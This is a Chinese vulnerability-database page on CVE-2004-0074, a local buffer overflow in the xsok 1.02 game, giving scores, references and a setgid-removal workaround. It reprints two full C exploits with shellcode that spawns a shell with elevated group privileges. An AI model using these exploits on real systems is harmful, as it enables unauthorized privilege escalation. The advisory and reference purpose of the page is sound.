CVE-2004-0074
CVSS4.6
发布时间 :2004-02-17 00:00:00
修订时间 :2016-10-17 22:40:39
NMCOES    

[原文]Multiple buffer overflows in xsok 1.02 allows local users to gain privileges via (1) a long LANG environment variable, or (2) a long -xsokdir command line argument, a different vulnerability than CVE-2003-0949.


[CNNVD]XSOK XSOKDir Option本地缓冲区溢出漏洞(CNNVD-200402-051)

        xsok 1.02版本存在多重缓冲区溢出漏洞。本地用户借助(1)长LANG环境变量,或者(2)长-xsokdir命令行参数提升权限,该漏洞不同于CVE-2003-0949的漏洞。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0074
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-0074
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200402-051
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=107307407027259&w=2
(UNKNOWN)  BUGTRAQ  20040102 xsok local games exploit
http://marc.info/?l=bugtraq&m=107332542918529&w=2
(UNKNOWN)  BUGTRAQ  20040103 xsok local games exploit (2)
http://www.securityfocus.com/bid/9341
(VENDOR_ADVISORY)  BID  9341
http://www.securityfocus.com/bid/9352
(VENDOR_ADVISORY)  BID  9352
http://xforce.iss.net/xforce/xfdb/14906
(VENDOR_ADVISORY)  XF  xsok-long-xsokdir-bo(14906)
http://xforce.iss.net/xforce/xfdb/14910
(UNKNOWN)  XF  xsok-lang-bo(14910)

- 漏洞信息

XSOK XSOKDir Option本地缓冲区溢出漏洞
中危 缓冲区溢出
2004-02-17 00:00:00 2006-09-20 00:00:00
本地  
        xsok 1.02版本存在多重缓冲区溢出漏洞。本地用户借助(1)长LANG环境变量,或者(2)长-xsokdir命令行参数提升权限,该漏洞不同于CVE-2003-0949的漏洞。

- 公告与补丁

        Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com .

- 漏洞信息 (140)

Xsok v1.02 "-xsokdir" local buffer overflow game exploit (EDBID:140)
linux local
2004-01-02 Verified
0 c0wboy
N/A [点击下载]
/* 0x333xsok (2) => xsok 1.02 local game exploit
 *
 *  Happy new year ! (2 :)
 *  coded by c0wboy 
 *
 *  (c) 0x333 Outsiders Security Labs / www.0x333.org
 *
 */


#include <stdio.h>
#include <unistd.h>

#define BIN     "/usr/games/xsok"
#define RETADD  0xbffffa3c
#define SIZE    200


unsigned char shellcode[] =

	/* setregid (20,20) shellcode */
	"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
	"\xcd\x80"

	/* exec /bin/sh shellcode */
	"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
	"\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";


	
int main (int argc, char ** argv)
{
	int i, ret = RETADD;
	char out[SIZE];

	fprintf(stdout, "\n ---   0x333xsok => xsok 1.02 local games exploit   ---\n");
	fprintf(stdout, "   ---       Outsiders Se(c)urity Labs 2003       ---\n\n");

	int *xsok = (int *)(out);

	for (i=0; i<SIZE-1 ; i+=4, *xsok++ = ret);

	memset((char *)out, 0x90, 63);
	memcpy((char *)out+63, shellcode, strlen(shellcode));

	execl (BIN, BIN, "-xsokdir", out, 0x0);
}

// milw0rm.com [2004-01-02]
		

- 漏洞信息 (23510)

XSOK 1.0 2 LANG Environment Variable Local Buffer Overrun Vulnerability (EDBID:23510)
linux local
2003-12-30 Verified
0 N2n-Hacker
N/A [点击下载]
source: http://www.securityfocus.com/bid/9341/info

xsok is prone to a locally exploitable buffer overrun vulnerability due to insufficient bounds check of data supplied through the LANG environment variable. This could be exploited to execute arbitrary code with elevated privileges. The program is typically installed setgid games. 

/*
xsok 1.02 local game exploit
coded by n2n, n2n<at>linuxmail.org
Eye on Security Research Group, India http://www.eos-india.net
This exploit calculates the return address automatically.
Also the shellcode is improved and automatically gets the effective uid and gid of the vulnerable binary.
Tested on Redhat Linux 9.0
*/

#define VULN "/usr/X11R6/bin/xsok"
#define BUFLEN	100
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

/* shellcode by me, n2n@linuxmail.org */
char *shellcode=
	/* setreuid(geteuid(),geteuid()), no use unless xsok is setuid, usually its only setgid games */
	"\x31\xc0\xb0\x31\xcd\x80\x93\x89\xd9\x31\xc0\xb0\x46\xcd\x80"
	/* setregid(getegid(),getegid()) */
	"\x31\xc0\xb0\x32\xcd\x80\x93\x89\xd9\x31\xc0\xb0\x47\xcd\x80"
	/* exec /bin/sh */
	"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
	/* exit() */
	"\x31\xdb\x89\xd8\xb0\x01\xcd\x80";

int main(int argc, char **argv)
{
	char exploit[BUFLEN+5];
	unsigned long addr_ret = 0xc0000000 - 4;
	char *arg0 = VULN;
	int i;
	if (argc > 2) {
		fprintf(stderr, "Usage: %s [PROG]\n", argv[0]);
		return 1;
	}
	if (argc > 1)
		arg0 = argv[1];
	addr_ret -= strlen(arg0) + 1;
	addr_ret -= strlen(shellcode) + 1; 
	setenv("EGG",shellcode,1);	
	for(i=0;i<BUFLEN;i+=4)
		*(unsigned int *)(exploit+i)=addr_ret;
	exploit[i]=0x0;
	setenv("LANG",exploit,1);
	printf("Using RET=%p\n",addr_ret);
	execl(arg0,arg0,NULL);
	printf("\n");
	return 1;
}
		

- 漏洞信息

3333
xsok -xsokdir Command-Line Argument Overflow
Input Manipulation
Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

2004-01-03 2004-01-03
2004-01-03 Unknow

- 解决方案

Currently, there are no known upgrades or patches to correct this issue. It is possible to correct the flaw by implementing the following workaround(s): Remove suid or sgid bits for the program.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

XSOK XSOKDir Option Local Buffer Overrun Vulnerability
Boundary Condition Error 9352
No Yes
2004-01-04 12:00:00 2009-07-12 12:56:00
Discovery credited to c0wboy@0x333.

- 受影响的程序版本

xsok xsok 1.0 2
- Debian Linux 3.0 sparc
- Debian Linux 3.0 s/390
- Debian Linux 3.0 ppc
- Debian Linux 3.0 mipsel
- Debian Linux 3.0 mips
- Debian Linux 3.0 m68k
- Debian Linux 3.0 ia-64
- Debian Linux 3.0 ia-32
- Debian Linux 3.0 hppa
- Debian Linux 3.0 arm
- Debian Linux 3.0 alpha

- 漏洞讨论

xsok is prone to a locally exploitable buffer overrun vulnerability due to insufficient bounds checking of data supplied xsokdir option. This could be exploited to execute arbitrary code with elevated privileges. The program is typically installed setgid games.

- 漏洞利用

The following exploit was contributed by c0wboy.

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站